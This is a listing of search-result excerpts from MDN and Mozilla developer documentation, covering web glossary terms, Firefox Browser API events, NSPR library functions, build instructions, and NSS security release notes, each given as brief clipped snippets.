Glyph - MDN Web Docs Glossary: Definitions of Web-related terms
a glyph is a term used in typography for the visual representation of one or more characters.
... the fonts used by a website contain different sets of glyphs, which represent the characters of the font.
... learn more general knowledge glyph on wikipedia glyph, character and grapheme on quora ...
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
web content's origin is defined by the scheme (protocol), host (domain), and port of the url used to access it.
... two objects have the same origin only when the scheme, host, and port all match.
... examples of same origin http://example.com/app1/index.html http://example.com/app2/index.html same origin because same scheme (http) and host (example.com) http://example.com:80 http://example.com same origin because a server delivers http content through port 80 by default examples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp.example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html li...
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
some html parser, such as firefox since firefox 4, support speculative parsing off of the main thread.
... avoiding losing tree builder output speculative tree building fails when document.write() changes the tree builder state such that the speculative state after the </script> tag no longer holds when all the content inserted by document.write() has been parsed.
...<script>document.write("<div></div>");</script> inside the head element will be interpreted as <script>document.write("</head><body><div></div>");</script> which is unbalanced.
CSS first steps - Learn web development
note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides this module contains the following articles, which will take you through all the basic theory of css, and provide opportunities for you to test out some skills.
...this article gives you a chance to do that.
How do you host your website on Google App Engine? - Learn web development
google app engine is a powerful platform that lets you build and run applications on google’s infrastructure — whether you need to build a multi-tiered web application from scratch or host a static website.
... creating an application each cloud platform project can contain one app engine application.
...upload your app to app engine: gcloud app deploy enter a number to choose the region where you want your application located.
Example 1 - Learn web development
basic state html <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0; visibility: hidden; } /* ------------ */ /* fancy styles */ /* -----...
...order-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } result for basic state active state html <div class="select active"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { ...
... border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } result for active state open state html <div class="select active"> <span class="value">cherry</span> <ul class="optlist"> <li class="option highlight">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus...
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
tems with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add video content to a webpage scripting & styling html only sets up document structure.
... how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems.
... how to use data attributes advanced text semantics how to take control of html line breaking how to mark changes (added and removed text) — see the <ins> and <del> elements.
Test your skills: HTML text basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...your post should include: a descriptive title such as "assessment wanted for html text basics 1 skill test".
Test your skills: HTML images - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...your post should include: a descriptive title such as "assessment wanted for html image basics 1 skill test".
Test your skills: JSON - Learn web development
the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise chain (which starts by fetching the json data) is fulfilled.
...you can get around these restrictions using cors, but this is beyond the scope of what we are teaching here.
...your post should include: a descriptive title such as "assessment wanted for json skill test".
JavaScript performance - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
... optimize these smaller files minification reduces the number of characters in your file, thereby reducing the number of bytes or weight of your javascript.
... battery impact conclusion while optimizing your media files and scripts will get you very far along in terms of web performance optimization, everything that touches a web pages impacts performance.
Mozilla Plugin Accessibility
all browser keys unavailable when plugin has focus focused plugins currently have no choice but to consume all keyboard events.
...the plugin will be responsible for bubbling up shift+tab and tab when the user has reached the end of the tab cycle within the plugin.
...a notable acception is the adobe pdf plugin on windows, which supports msaa.
Adding a new word to the en-US dictionary
occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell check dictionary in firefox.
... get into the dictionary sources directory using this command: cd extensions/spellcheck/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries.
... sh merge-dictionaries to process the dictionary changes you've made.
Building SpiderMonkey with UBSan
/bin/sh if [ -z $1 ] ; then echo "usage: $0 <dirname>" elif [ -d $1 ] ; then echo "directory $1 already exists" else autoconf2.13 autoconf213 mkdir $1 cd $1 llvm_root="$home/llvm" sanflag="-fsanitize=undefined -fno-sanitize=alignment,float-cast-overflow,float-divide-by-zero,vptr -dxmalloc=myxmalloc" \ cc="$llvm_root/build/release+asserts/bin/clang" \ cxx="$llvm_root/build/release+asserts/bin/clang++" \ cflags="$sanflag" \ cxxflags="$sanflag" \ moz_llvm_hacks=1 \ ../configure --enable-debug --disable-optimize make -j 8 fi 3.
...this enables all the cheap undefined behavior checks other than: alignment, which hits known bugs in spidermonkey, and is more implementation-defined (slow on x86 / crash on arm) than undefined behavior float-cast-overflow, which hits known bugs in spidermonkey, and isn't exploited by today's compilers float-divide-by-zero, which jesse doesn't think is actually undefined behavior (aside from the question of whether cpu overflow flags are set) vptr, a check that requires rtti, which is disabled by default in spidermonkey 4.
... the stack trace should show a function such as __ubsan_handle_load_invalid_value or __ubsan_handle_type_mismatch being called by the buggy c++ code.
Creating a Firefox sidebar
you can choose either depending on your needs and resources.
...such kind of sidebar can be a simple web panel or a full-featured extension that is completely integrated with the browser.
... see also bootstrap addon demo which adds a sidebar with browser for html content: https://gist.github.com/noitidart/8728393 ...
Adding APIs to the navigator object
each method below of adding new objects to the navigator object requires that the new object is a registered xpcom component.
... using a manifest to add an object to navigator you can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascript-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "ffff" sections in both the component and contract lines with your guid.
... this adds a new api, mycomponent, to the navigator object, which you can then access as navigator.mycomponent.
Multiprocess Firefox
message manager a complete guide to the objects used to communicate between chrome code and web content.
... cross process object wrappers cross process object wrappers are a migration aid, giving chrome code synchronous access to web content.
... limitations of chrome scripts practices that will no longer work in chrome code, and how to update them.
HTMLIFrameElement.goBack()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... by calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
... examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification.
HTMLIFrameElement.goForward()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... by calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on.
... examples fwd.addeventlistener('touchend',function() { browser.goforward(); }); specification not part of any specification.
mozbrowseractivitydone
there may also be large incompatibilities between implementations and the behavior may change in the future.
...postresult and posterror calls made on such an activity will be ignored and have no effect.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseractivitydone", function(event) { if(event.details.success) { console.log('activity completed successfully'); } else { console.log('activity not completed successfully'); } }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsererror
there may also be large incompatibilities between implementations and the behavior may change in the future.
...possible values are: fatal(crash) unknownprotocolfound filenotfound dnsnotfound connectionfailure netinterrupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure contentencodingfailure remotexul unsafecontenttype corruptedcontenterror certerror other example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasyncsc...
...roll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserloadstart
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example in this example the mozbrowserloadend and mozbrowserloadstart events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate.
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadstart',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
HTMLIFrameElement.reload()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... parameters hardreload optional a boolean that indicates whether all the resources to reload must be revalidated (true) or may be taken directly from the browser cache (false).
... examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
HTMLIFrameElement.setVisible()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the setvisible() method of the htmliframeelement is used to change the visibility state of the browser <iframe>.
... the visible state of a browser <iframe> has nothing to do with its actual visibility (which is handled through css).
HTMLIFrameElement.zoom()
MozillaGeckoChromeAPIBrowser APIzoom
the zoom() method of the htmliframeelement interface changes the zoom factor of the browser <iframe>'s content.
... this is particularly useful for zooming in/out on non-touch-enabled devices.
... examples var browser = document.queryselector('iframe'); var zoomfactor = 1; zoomin.addeventlistener('touchend',function() { zoomfactor += 0.1; browser.zoom(zoomfactor); }); zoomout.addeventlistener('touchend',function() { zoomfactor -= 0.1; browser.zoom(zoomfactor); }); specification not part of any specification.
overflow-clip-box
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the overflow-clip-box css property specifies relative to which box the clipping happens when there is an overflow.
...note that this property is activated by default only in the ua stylesheet and chrome contexts.
Code Samples
getting the directory where your add-on is located if you need to determine the directory in which your add-on is installed, code like the following will do the trick.
...getaddonbyid("youraddon@youraddon.com", function(addon) { addon.uninstall(); }); disable an add-on components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("youraddon@youraddon.com", function(addon) { if (addon.isactive) addon.userdisabled = addon.isactive; }); listening for add-on uninstall this example sets a variable beinguninstalled that you can check when you get a profile-before-change message to do cleanup for your add-on on uninstall.
...don.id == "youraddon@youraddon.com") { beinguninstalled = true; } }, onoperationcancelled: function(addon) { if (addon.id == "youraddon@youraddon.com") { beinguninstalled = (addon.pendingoperations & addonmanager.pending_uninstall) != 0; } } } try { components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.addaddonlistener(listener); } catch (ex) {} ...
Widget Wrappers
there are 'group' wrappers which provide information about the widget across all windows, and 'single' wrappers which provide information about a specific instance in a specific window.
...for xul-provided widgets, this is always 'custom' provider the provider type of the widget, id est one of provider_api or provider_xul node reference to the corresponding dom node anchor the anchor on which to anchor panels opened from this node.
... this will point to the overflow chevron on overflowable toolbars if and only if your widget node is overflowed, to the anchor for the panel menu if your widget is inside the panel menu, and to the node itself in all other cases overflowed boolean indicating whether the node is currently in the overflow panel of the toolbar isgroup false, will be true for the group widget label for api-provided widgets, convenience getter for the label attribute of the dom node tooltiptext for api-provided widgets, convenience getter for the tooltiptext attribute of the dom node disabled for api-provided widgets, convenience getter and setter for the disabled state of this single widget.
FileUtils.jsm
perms_directory 0755 default permissions when creating directories methods getfile() gets a file at the specified hierarchy under a nsidirectoryservice key.
... getdir() gets a directory at the specified hierarchy under a nsidirectoryservice key.
... shouldcreate optional true if the directory hierarchy specified in patharray should be created if it does not exist, false otherwise.
Deferred
a deferred object is returned by the obsolete promise.defer() method to provide a new promise along with methods to change its state.
... backwards and forwards compatible helper this deferred function can be used for backwards and forwards compatibility, due to a change that took place in firefox 30.
...'aval of resolved'); deferred.reject('reject val'); return promise; } var promise_funcwithdefer = funcwithdefer(); promise_funcwithdefer.then( function(aval) { console.log('fullfilled - promise_funcwithdefer - ', aval); }, function(areason) { var refobj = {name:'promise_funcwithdefer', areason:areason}; console.error('rejected - promise_funcwithdefer - ', refobj); } ).catch( function(acatch) { console.error('caught - promise_funcwithdefer - ', acatch); throw acatch; } ); ...
Using workers in JavaScript code modules
you can do so by using chromeworker instead of the standard worker object.
...to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js'); this will create a new chrome worker that will immediately begin to run the script at the sp...
... for example, "script_url.js" can be "chrome://extension_name/content/script.js".
MathML Screenshots
this page also shows how mathml can be used in combination with other web features such as background images at a desired opacity.
...this screen capture demonstrates advanced layout with mtable and stretchy operators.
...the choice is yours!
MathML In Action
next to it is this tiny formula, det | a c b d | = a d - b c , which can also be typeset in displaystyle as det | a b c d | = a d - b c .
...or what about those things that just seem itchy, and that you wish could be done just a little better?
...getting involved is part of your contribution towards enriching gecko with an elegant standards-compliant mathml renderer.
Mozilla MathML Status
general layout schemata element notes mrow implemented.
...we are only interested in supporting attributes "inherited from the surrounding context", which are those effectively used in practice.
... script and limit schemata element [- attribute] notes msub implemented.
Mozilla projects on GitHub
asknot the what can i do for mozilla web site, which helps you figure out how you can contribute to mozilla.
... opennews the knight-mozilla open news project, helping the journalism/technology community do great work through shared knowledge and code.
... pluotsorbet a j2me-compatible virtual machine written in javascript.
Automated performance testing and sheriffing
we have several test harnesses that test firefox for various performance characteristics (page load time, startup time, etc.).
...currently we aggregate this information in the perfherder web application where performance sheriffs watch for significant regressions, filing bugs as appropriate.
... current list of automated systems we are tracking (at least to some degree): talos: the main performance system, run on virtually every check-in to an integration branch build metrics: a grab bag of performance metrics generated by the build system arewefastyet: a generic javascript and web benchmarking system areweslimyet: a memory benchmarking tool ...
GPU performance
doing performance work with gpus is harder than with cpus because of the asynchronous and massively parallel architecture.
...nvidia perfhud - last i checked required a special build to be used.
...amd gpu shaderanalyzer - will compile a shader and show the machine code and give static pipeline estimations.
Intel Power Gadget
the main strengths of this tool are (a) it works on windows, unlike most other power-related tools, and (b) it shows this data in graph form, which is occasionally useful.
...specificially, the temperature is a proxy measurement that is affected by processor power consumption, rather than one that affects it, which makes it even less useful than most proxy measurements.
... (an energia dashboard can be seen here; please note that the data has not been updated since early 2014.) version 3.0 (available on mac and windows, but not on linux) also exposes an api from which the same measurements can be extracted programmatically.
Memory Profiler
another common approach is to plot the allocations or the memory usages along the timeline.
...however, it still relies on developers' wisdom, and sometimes chances, to dig out the problematical code snippet.
...each alloctaion root could be expanded to leaf functions that actually allocates memory.
javascript.options.showInConsole
the preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.
... true (default) errors and warnings from both chrome and content are shown in the error console.
... note: since the web console was introduced in firefox 4 specifically for debugging content, the default value for this preference has changed to true as of gecko 2.0.
Preferences system
ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay.
...you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platforms where the window size does not change as the selected panel is changed (e.g.
...example: var features = "chrome,titlebar,toolbar,centerscreen,modal"; window.opendialog(url, "preferences", features); bugzilla the component for bugs in the preferences bindings (but not in firefox/thunderbird options ui) is toolkit:preferences (file a bug list open bugs) ...
Crash reporting
reports and queries crash-stats has built-in reports of "topcrashes" for each release grouped by signature.
... there is also a custom query tool which allows users to limit searches on more precise information.
... see also understanding crash reports a guide to searching crash reports crash-stats crash pings (telemetry) and crash reports (socorro/crash stats) building firefox with debug symbols environment variables affecting crash reporting in-code documentation crash reporter crash manager crash ping ...
Emscripten
generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... other articles of interest on mdn our games zone contains some useful content related to games development, which is a common area of use for emscripten.
... our emscripten techniques page is a place to store useful emscripten-related ideas that haven't made it onto the emscripten wiki.
Logging
this chapter describes the global functions you use to perform logging.
...these variables control which modules and levels are logged as well as the file name of the log file.
...les control the behavior of logging at execution time: nspr_log_modules nspr_log_file logging functions and macros the functions and macros for logging are: pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_static_assert (new in nspr 4.6.6xxx this hasn't been released yet; the number is a logical guess) pr_not_reached use example the following sample code fragment demonstrates use of the logging and debugging aids.
Memory Management Operations
this chapter describes the global functions and macros you use to perform memory management.
...libraries built on top of nspr, such as the netscape security libraries, use these functions to allocate and free memory.
... if you are allocating memory for use by such libraries or freeing memory that was allocated by such libraries, you must use these nspr functions rather than the libc equivalents.
NSPR Error Handling
this chapter describes the functions for retrieving and setting errors and the error codes set by nspr.
... pr_would_block_error the operation would have blocked, which conflicts with the semantics that have been established.
... pr_network_unreachable_error the network address specifies a host that is unreachable (perhaps temporary).
NSPR LOG MODULES
this environment variable specifies which log modules have logging enabled.
... examples log everything from the toolkit::storage component that happens, prefixing each line with the timestamp when it was logged to the file /tmp/foo.log (which will be replaced each time the executable is run).
... set nspr_log_modules=timestamp,mozstorage:5 set nspr_log_file=/tmp/foo.log logging with try server for mochitest, edit variable nspr_log_modules in testing/mochitest/runtests.py before pushing to try.
NSPR Types
this chapter describes the most common nspr types.
... other chapters describe more specialized types when describing the functions that use them.
...they are guaranteed to be at least 16 bits, though various architectures may define them to be wider (for example, 32 or even 64 bits).
PL_HashString
a general-purpose hash function for character strings.
... syntax #include <plhash.h> plhashnumber pl_hashstring(const void *key); parameter the function has the following parameter: key a pointer to a character string.
... description pl_hashstring can be used as the key hash function for a hash table if the key is a character string.
PL_HashTableEnumerateEntries
enumerates all the entries in the hash table, invoking a specified function on each entry.
... f function to be applied to each entry.
...for each entry, the enumerator function is invoked with the entry, the index (in the sequence of enumeration, starting from 0) of the entry, and arg as arguments.
PRFileDesc
a file descriptor used to represent any open file, such as a normal file, an end point of a pipe, or a socket (end point of network communication).
... description the fields of this structure are significant only if you are implementing a layer on top of nspr, such as ssl.
... otherwise, you use functions such as pr_open and pr_newtcpsocket to obtain a file descriptor, which you should treat as an opaque structure.
PRThreadState
this approach facilitates management of the process' critical resources.
...the join process permits strict synchronization of thread termination and therefore promotes effective resource management.
... if a thread is created as an unjoinable (also called detached) thread, it terminates and cleans up after itself after returning from its root function.
PR_Access
syntax #include <prio.h> prstatus pr_access( const char *name, praccesshow how); parameters the function has the following parameters: name the pathname of the file whose accessibility is to be determined.
... how specifies which access permission to check for.
...check existence of file.
PR_CNotify
notify a thread waiting on a change in the state of monitored data.
... description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cnotify notifies single a thread waiting for the monitor's state to change.
...as soon as the thread is scheduled, it attempts to reenter the monitor.
PR_CNotifyAll
notifies all the threads waiting for a change in the state of monitored data.
... pr_failure indicates that the referenced monitor could not be located or that the calling thread was not in the monitor description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cnotifyall notifies all threads waiting for the monitor's state to change.
... all of the threads waiting on the state change are then scheduled to reenter the monitor.
PR_ExitMonitor
decrements the entry count associated with a specified monitor and, if the entry count reaches zero, releases the monitor's lock.
...the monitor object referenced must be one for which the calling thread currently holds the lock.
...threads that were blocked trying to enter the monitor will be rescheduled.
PR_FindSymbol
syntax #include <prlink.h> void* pr_findsymbol ( prlibrary *lib, const char *name); parameters the function has these parameters: lib a valid reference to a loaded library, as returned by pr_loadlibrary, or null.
...if the lib parameter is null, all libraries known to the runtime and the main program are searched in an unspecified order.
...getting a pointer to a symbol in a library does indicate that the library is available when the search was made.
PR_Interrupt
when the interrupted thread reaches the prearranged point, it can communicate with its peer to discover the real reason behind the change in plans.
...the interrupted thread returns pr_failure (-1) with an error code (see pr_geterror) for blocking operations that return a prstatus (such as i/o operations, monitor waits, or waiting on a condition).
... to check whether the thread was interrupted, compare the result of pr_geterror with pr_pending_interrupt_error.
PR_IntervalNow
description you can use the value returned by pr_intervalnow() to establish epochs and to determine intervals (that is, compute the difference between two times).
... the most common use for pr_intervalnow() is to establish an epoch and test for the expiration of intervals.
... prstatus rv; printervaltime epoch = pr_intervalnow(); pr_lock(data->mutex); while (!evaluatedata(data)) /* wait until condition is met */ { pruint32 delta = pr_intervaltomilliseconds(pr_intervalnow() - epoch); if (delta > interval) break; /* timeout */ rv = pr_wait(data->condition, pr_millisecondstointerval(interval - delta)); if (pr_failure == rv) break; /* likely an interrupt */ } pr_unlock(data->mutex); ...
PR_NotifyAll
the monitor object referenced must be one for which the calling thread currently holds the lock.
... description a call to pr_notifyall causes all of the threads waiting on the monitor to be scheduled to be promoted to a ready state.
...the expense of scheduling multiple threads increases dramatically as the number of threads increases.
PR_NotifyCondVar
notifies a condition variable of a change in its associated monitored data.
... notification of a condition variable signals a change of state in some monitored data.
...if more than one thread is waiting, the selection of which thread gets promoted cannot be predicted.
PR_STATIC_ASSERT
syntax #include <prlog.h> pr_static_assert ( expression ); parameters the macro has this parameter: expression any valid expression which evaluates at compile-time to true or false.
... an expression which cannot be evaluated at compile time will cause a compiler error; see pr_assert for a runtime alternative.
...the compiler error will include the number of the line for which the compile-time assertion failed.
PR_StringToNetAddr
converts a character string to a network address.
... syntax #include <prnetdb.h> prstatus pr_stringtonetaddr( const char *string, prnetaddr *addr); parameters the function has the following parameters: string the string to be converted.
...ipv6 addresses are indicated as strings using ":" characters separating octets, with numerous caveats for shortcutting (see rfc #1884).
String Operations
this chapter describes some of the key nspr functions for manipulating strings.
... libraries built on top of nspr, such as the netscape security libraries, use these functions to manipulate strings.
... if you are copying or examining strings for use by such libraries or freeing strings that were allocated by such libraries, you must use these nspr functions rather than the libc equivalents.
Thread Pools
this chapter describes the nspr api thread pools.
... note: this api is a preliminary version in nspr 4.0 and is subject to change.
... thread pools create and manage threads to provide support for scheduling work (jobs) onto one or more threads.
Function_Name
avoid describing the return until the next section, for example: this function looks in the nsscryptocontext and the nsstrustdomain to find the certificate that matches the der-encoded certificate.
... a match is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database.
... returns full description of the return value, for example: a pointer to a certcertificate representing the certificate in the database that matched the dercert, or null if none was found.
Building NSS
to check out the latest sources for nss and nspr--which may not be part of a stable release--use the following commands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases.
... build with make alternatively, there is a make target called "nss_build_all", which produces a similar result.
...those can be run directly instead of all.sh, which might save some time at the cost of coverage.
Build instructions for JSS 4.3.x
build instructions for jss 4.3.x newsgroup: mozilla.dev.tech.crypto before building jss, you need to set up your system as follows: build nspr/nss by following the nspr/nss build instructions, to check that nss built correctly, run all.sh (in mozilla/security/nss/tests) and examine the results (in mozilla/test_results/security/computername.#/results.html.
...follow these steps: switch to the appropriate directory and check out jss from the root of your source tree.
... if you're intention is to modify and build the jss source you need to apply for your own jce code-signing certificate if you made no changes and your goal is to build jss you can use the signed binary release of the jss4.jar from ftp.mozilla.org.
JSS 4.4.0 Release Notes
introduction the java security services (jss) team has released jss 4.4.0, which is a minor release.
... jss 4.4.0 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/jss_4_4_0_rtm/src/ new in jss 4.40 new functionality new functions new macros notable changes in jss 4.40 picks up work done downstream for fedora and rhel and used by various linux distributions with includes:.
... bugs fixed in jss 4.4.0 this bugzilla query returns all the bugs fixed in nss 4.4.0: https://bugzilla.mozilla.org/buglist.cgi?product=jss&target_milestone=4.4&target_milestone=4.4&bug_status=resolved&resolution=fixed documentation build instructions for jss at https://hg.mozilla.org/projects/jss/file/tip/readme platform information you can check out the source from mercurial via hg clone -r 055aa3ce8a61 https://hg.mozilla.org/projects/jss jss 4.4.0 works with openjdk versions 1.7 or higher we suggest the latest - openjdk 1.8.
NSS 3.15.2 release notes
introduction network security services (nss) 3.15.2 is a patch release for nss 3.15.
...specifically, the following cipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_cipherfinal has been introduced, which is a simple alias for pk11_digestfinal.
...new pkcs #11 mechanisms no new pkcs#11 mechanisms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures.
NSS 3.15.5 release notes
introduction network security services (nss) 3.15.5 is a patch release for nss 3.15.
...the extension type value is 35655, which may change when an official extension type value is assigned by iana.
... notable changes in nss 3.15.5 bug 950129: improve the ocsp fetching policy when verifying ocsp responses bug 949060: validate the iov input argument (an array of priovec structures) of ssl_writev (called via pr_writev).
NSS 3.16.2.1 release notes
introduction network security services (nss) 3.16.2.1 is a patch release for nss 3.16, based on the nss 3.16.2 release.
...this is a patch release to fix a bug that caused nss to accept forged rsa signatures.
... bugs fixed in nss 3.16.2.1 bug 1064636 - (cve-2014-1568) rsa signature forgery in nss acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for responsibly disclosing the issue by providing advance copies of their research.
NSS 3.16.2.3 release notes
introduction network security services (nss) 3.16.2.3 is a patch release for nss 3.16.
... nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/ new in nss 3.16.2.3 this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1.
... notable changes in nss 3.16.2.3 bug 1057161: check that an imported elliptic curve public key is valid.
NSS 3.16.4 release notes
introduction network security services (nss) 3.16.4 is a patch release for nss 3.16.
...nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/ new in nss 3.16.4 this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes.
... notable changes in nss 3.16.4 the following 1024-bit root ca certificate was restored to allow more time to develop a better transition strategy for affected sites.
NSS 3.16.5 release notes
introduction network security services (nss) 3.16.5 is a patch release for nss 3.16.
...this is a patch release to fix a bug that caused nss to accept forged rsa signatures.
... bugs fixed in nss 3.16.5 bug 1064636 - (cve-2014-1568) rsa signature forgery in nss acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for responsibly disclosing the issue by providing advance copies of their research.
NSS 3.19.1 release notes
this patch release includes a fix for the recently published logjam attack.
... notable changes in nss 3.19.1 nss reports the bit length of keys more accurately.
...this affects the key strength values that are reported by ssl_getchannelinfo.
NSS 3.19.2.3 release notes
introduction network security services (nss) 3.19.2.3 is a security patch release for nss 3.19.2.
...an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user.
... acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.19.3 release notes
introduction network security services (nss) 3.19.3 is a patch release for nss 3.19.
...this is a patch release to update the list of root ca certificates.
